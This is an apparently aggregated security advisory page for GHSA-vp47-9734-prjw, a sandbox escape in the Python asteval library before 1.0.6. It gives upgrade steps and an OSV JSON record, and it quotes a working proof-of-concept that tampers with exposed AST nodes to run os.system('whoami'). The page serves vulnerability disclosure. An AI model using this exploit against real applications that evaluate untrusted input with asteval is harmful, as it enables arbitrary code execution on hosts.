GHSA-vp47-9734-prjw: Asteval ASTEVAL Allows Malicious Tampering Of Vulnerability

HIGH
CVSS 8.4
CWE-367 CWE-749
Published
Advisory Summary

GHSA-vp47-9734-prjw is a HIGH (CVSS 8.4) asteval allows malicious tampering of vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting Asteval libraries in the PyPI ecosystem. The issue involves asteval allows malicious tampering of exposed ast nodes leads to sandbox escape. Remediation is available by upgrading affected packages to version 1.0.6.

GHSA-vp47-9734-prjw at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-vp47-9734-prjw
Severity HIGH
CVSS v3.1 Base Score 8.4
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product Asteval
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-vp47-9734-prjw

To remediate this vulnerability, upgrade all affected Asteval dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

asteval fixed: 1.0.6
pip install asteval>=1.0.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show asteval

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-vp47-9734-prjw, inspect your installed packages using pip:

pip show asteval

Analyze the terminal output to locate any version of Asteval in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.6), your application is affected.

Note: The pip show asteval command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In Asteval, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary If an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context. ### Details The vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the [`on_attribute`](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L565) node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below: ```py def on_attribute(self, node): # ('value', 'attr', 'ctx') """Extract attribute.""" ctx = node.ctx.__class__ if ctx == ast.Store: msg = "attribute for storage: shouldn't be here!" self.raise_exception(node, exc=RuntimeError, msg=msg) sym = self.run(node.value) if ctx == ast.Del: return delattr(sym, node.attr) # unsafe = (node.attr in UNSAFE_ATTRS or (node.attr.startswith('__') and node.attr.endswith('__'))) if not unsafe: for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items(): unsafe = isinstance(sym, dtype) and node.attr in attrlist if unsafe: break if unsafe: msg = f"no safe attribute '{node.attr}' for {repr(sym)}" self.raise_exception(node, exc=AttributeError, msg=msg) else: try: return getattr(sym, node.attr) except AttributeError: pass ``` While this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection: ```py class Procedure: """Procedure: user-defined function for asteval. This stores the parsed ast nodes as from the 'functiondef' ast node for later evaluation. """ def __init__(self, name, interp, doc=None, lineno=0, body=None, args=None, kwargs=None, vararg=None, varkws=None): """TODO: docstring in public method.""" self.__ininit__ = True self.name = name self.__name__ = self.name self.__asteval__ = interp self.raise_exc = self.__asteval__.raise_exception self.__doc__ = doc self.body = body self.argnames = args self.kwargs = kwargs self.vararg = vararg self.varkws = varkws self.lineno = lineno self.__ininit__ = False ``` Since the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour. The exploit works as follows: 1. **The Time of Check, Time of Use (TOCTOU) Gadget:** In the [code](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L577) below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe: ```python unsafe = (node.attr in UNSAFE_ATTRS or (node.attr.startswith('__') and node.attr.endswith('__'))) ``` 2. **Exploiting the TOCTOU Gadget:** An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps: - It replaces the value of `node.attr` with the string `"__getattribute__"` and returns `False`. - Thus, when `node.attr.startswith('__')` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`. - However, by that time, `node.attr` has been changed to `"__getattribute__"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks. ### PoC The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine: ```py from asteval import Interpreter aeval = Interpreter() code = """ ga_str = "__getattribute__" def lender(): a b def pwn(): ga = lender.dontcare init = ga("__init__") ga = init.dontcare globals = ga("__globals__") builtins = globals["__builtins__"] importer = builtins["__import__"] importer("os").system("whoami") def startswith1(str): # Replace the attr on the targeted AST node with "__getattribute__" pwn.body[0].value.attr = ga_str return False def startswith2(str): pwn.body[2].value.attr = ga_str return False n1 = lender.body[0] n1.startswith = startswith1 pwn.body[0].value.attr = n1 n2 = lender.body[1] n2.startswith = startswith2 pwn.body[2].value.attr = n2 pwn() """ aeval(code) ```

GHSA-vp47-9734-prjw Affected Asteval Versions

1 component(s)
Fixed Versions:
1.0.6
Product / Package Ecosystem Affected Versions Fixed Version
asteval
PyPI
< 1.0.6
1.0.6

References

Frequently Asked Questions

What is GHSA-vp47-9734-prjw?
GHSA-vp47-9734-prjw is a security vulnerability in Asteval involving ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which Asteval versions are affected?
Affected versions include releases prior to 1.0.6 across affected packages: asteval.
What version fixes GHSA-vp47-9734-prjw?
Upgrading to 1.0.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is asteval affected?
Yes, asteval is affected in releases prior to 1.0.6. Upgrade your dependency to 1.0.6 or later.
What is the CVSS score of GHSA-vp47-9734-prjw?
GHSA-vp47-9734-prjw has a CVSS v3.1 base score of 8.4 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-vp47-9734-prjw?
GHSA-vp47-9734-prjw is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check PyPI dependencies for GHSA-vp47-9734-prjw?
Run the dependency tree command: 'pip show asteval'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vp47-9734-prjw",
  "modified" : "2025-01-23T22:33:48Z",
  "published" : "2025-01-23T22:33:48Z",
  "aliases" : [ ],
  "summary" : "ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape",
  "details" : "### Summary\nIf an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the [`on_attribute`](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L565) node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below:\n\n```py\n    def on_attribute(self, node):    # ('value', 'attr', 'ctx')\n        \"\"\"Extract attribute.\"\"\"\n\n        ctx = node.ctx.__class__\n        if ctx == ast.Store:\n            msg = \"attribute for storage: shouldn't be here!\"\n            self.raise_exception(node, exc=RuntimeError, msg=msg)\n\n        sym = self.run(node.value)\n        if ctx == ast.Del:\n            return delattr(sym, node.attr)\n        #\n        unsafe = (node.attr in UNSAFE_ATTRS or\n                 (node.attr.startswith('__') and node.attr.endswith('__')))\n        if not unsafe:\n            for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():\n                unsafe = isinstance(sym, dtype) and node.attr in attrlist\n                if unsafe:\n                    break\n        if unsafe:\n            msg = f\"no safe attribute '{node.attr}' for {repr(sym)}\"\n            self.raise_exception(node, exc=AttributeError, msg=msg)\n        else:\n            try:\n                return getattr(sym, node.attr)\n            except AttributeError:\n                pass\n```\n\nWhile this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection:\n\n```py\nclass Procedure:\n    \"\"\"Procedure: user-defined function for asteval.\n\n    This stores the parsed ast nodes as from the 'functiondef' ast node\n    for later evaluation.\n\n    \"\"\"\n\n    def __init__(self, name, interp, doc=None, lineno=0,\n                 body=None, args=None, kwargs=None,\n                 vararg=None, varkws=None):\n        \"\"\"TODO: docstring in public method.\"\"\"\n        self.__ininit__ = True\n        self.name = name\n        self.__name__ = self.name\n        self.__asteval__ = interp\n        self.raise_exc = self.__asteval__.raise_exception\n        self.__doc__ = doc\n        self.body = body\n        self.argnames = args\n        self.kwargs = kwargs\n        self.vararg = vararg\n        self.varkws = varkws\n        self.lineno = lineno\n        self.__ininit__ = False\n```\n\nSince the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour.\n\nThe exploit works as follows:\n\n1. **The Time of Check, Time of Use (TOCTOU) Gadget:**\n\n   In the [code](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L577) below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe:\n\n   ```python\n   unsafe = (node.attr in UNSAFE_ATTRS or\n             (node.attr.startswith('__') and node.attr.endswith('__')))\n   ```\n\n2. **Exploiting the TOCTOU Gadget:**\n\n   An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps:\n   \n   - It replaces the value of `node.attr` with the string `\"__getattribute__\"` and returns `False`.\n   - Thus, when `node.attr.startswith('__')` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`.\n   - However, by that time, `node.attr` has been changed to `\"__getattribute__\"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\nga_str = \"__getattribute__\"\ndef lender():\n    a\n    b\ndef pwn():\n    ga = lender.dontcare\n    init = ga(\"__init__\")\n    ga = init.dontcare\n    globals = ga(\"__globals__\")\n    builtins = globals[\"__builtins__\"]\n    importer = builtins[\"__import__\"]\n    importer(\"os\").system(\"whoami\")\n\ndef startswith1(str):\n    # Replace the attr on the targeted AST node with \"__getattribute__\"\n    pwn.body[0].value.attr = ga_str\n    return False    \n\ndef startswith2(str):\n    pwn.body[2].value.attr = ga_str\n    return False    \n\nn1 = lender.body[0]\nn1.startswith = startswith1\npwn.body[0].value.attr = n1\n\nn2 = lender.body[1]\nn2.startswith = startswith2\npwn.body[2].value.attr = n2\n\npwn()\n\"\"\"\naeval(code)\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "asteval"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lmfit/asteval/security/advisories/GHSA-vp47-9734-prjw"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lmfit/asteval"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367", "CWE-749" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-01-23T22:33:48Z",
    "nvd_published_at" : null
  }
}